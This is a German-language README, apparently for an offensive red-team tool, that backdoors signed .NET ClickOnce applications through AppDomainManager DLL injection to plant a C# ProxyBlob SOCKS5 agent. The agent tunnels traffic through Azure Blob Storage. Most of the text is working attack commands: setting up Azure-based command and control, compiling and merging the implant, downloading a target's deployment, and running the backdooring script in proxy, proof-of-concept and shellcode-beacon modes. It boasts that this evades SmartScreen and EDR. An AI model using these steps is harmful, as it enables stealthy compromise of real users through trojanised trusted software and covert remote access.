
Bewaffnen Sie signierte .NET ClickOnce-Anwendungen für den initialen Zugriff, indem Sie eine abhängige DLL per AppDomainManager-Injection kapern und einen C#-Port des ProxyBlob-Agenten laden.

Waffnen Sie signierte .NET ClickOnce-Anwendungen für den Erstzugriff, indem Sie eine Abhängigkeits-DLL per AppDomainManager-Injection kapern und einen C#-Port des ProxyBlob-Agenten laden. Enthält einen C#-Port von ProxyBlob – einen SOCKS5-Proxy, der den gesamten Verkehr durch Azure Blob Storage tunnelt und sich in Umgebungen einfügt, in denen *.blob.core.windows.net auf der Whitelist steht.
ClickOnce ist Microsofts Ein-Klick-Bereitstellungstechnologie für .NET-Apps. Wenn ein Benutzer auf eine .application-URL klickt, lädt Windows die App herunter und führt sie aus, ohne dass Administratorrechte erforderlich sind. Der Angriff:
.exe.config, die der CLR sagt, unsere DLL als AppDomainManager zu ladenDie Host-.exe bleibt unberührt und gültig signiert. SmartScreen sieht eine bekannte Binärdatei. EDR sieht einen vertrauenswürdigen Prozess, der Module lädt. Ihr Agent kommuniziert nur mit Azure Blob Storage über HTTPS.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
Angreifer (Linux/macOS):
Build-Maschine (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (automatisch erkannt)nuget.exe neben das Skript oder fügen Sie es zum PATH hinzu (nur für --proxyblob-Modus erforderlich)Das Skript erkennt csc.exe und nuget.exe automatisch. Für --proxyblob werden BouncyCastle und ILMerge beim ersten Durchlauf automatisch über NuGet in ein packages/-Verzeichnis neben dem Skript installiert (bleibt über Durchläufe hinweg erhalten).
Der Agent-Code ist architekturneutral (kein P/Invoke, kein Shellcode). Das --platform-Flag (an csc.exe /platform: übergeben) steuert, wie die CLR es lädt:
--platform | Läuft auf x86 Windows | Läuft auf x64 Windows | Wann verwenden |
|---|---|---|---|
x86 (default) | 32-bit | 32-bit (WoW64) | Ziel-App ist x86 |
x64 | ✗ | 64-bit | Ziel-App ist x64 |
anycpu | 32-bit | 64-bit | Standalone-Tests oder Ziel ist AnyCPU |
Überprüfen Sie eine Ziel-App mit corflags.exe TargetApp.exe, um ihre Plattform zu ermitteln.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
Oder verwenden Sie Azurite lokal:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
In der Proxy-Shell:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Speichern Sie diese Verbindungszeichenfolge – sie kommt in den Agenten.
Überprüfen Sie immer, ob der Agent unabhängig funktioniert, bevor Sie ihn in ClickOnce integrieren.
Auf der Windows-Build-Maschine:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
Zurück auf dem Proxy:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Test:
proxychains curl http://ipconfig.io
Wenn das funktioniert, fahren Sie mit der ClickOnce-Integration fort.
Finden Sie während der Aufklärung eine Ziel-ClickOnce-App (suchen Sie nach .application-URLs). Sie benötigen:
Laden Sie die gesamte ClickOnce-Bereitstellung herunter:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Das Skript kompiliert den C#-Quellcode automatisch, verwaltet NuGet-Abhängigkeiten (für --proxyblob), führt ILMerge für BouncyCastle in die DLL durch und patcht alle Manifeste – alles in einem Durchlauf:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output
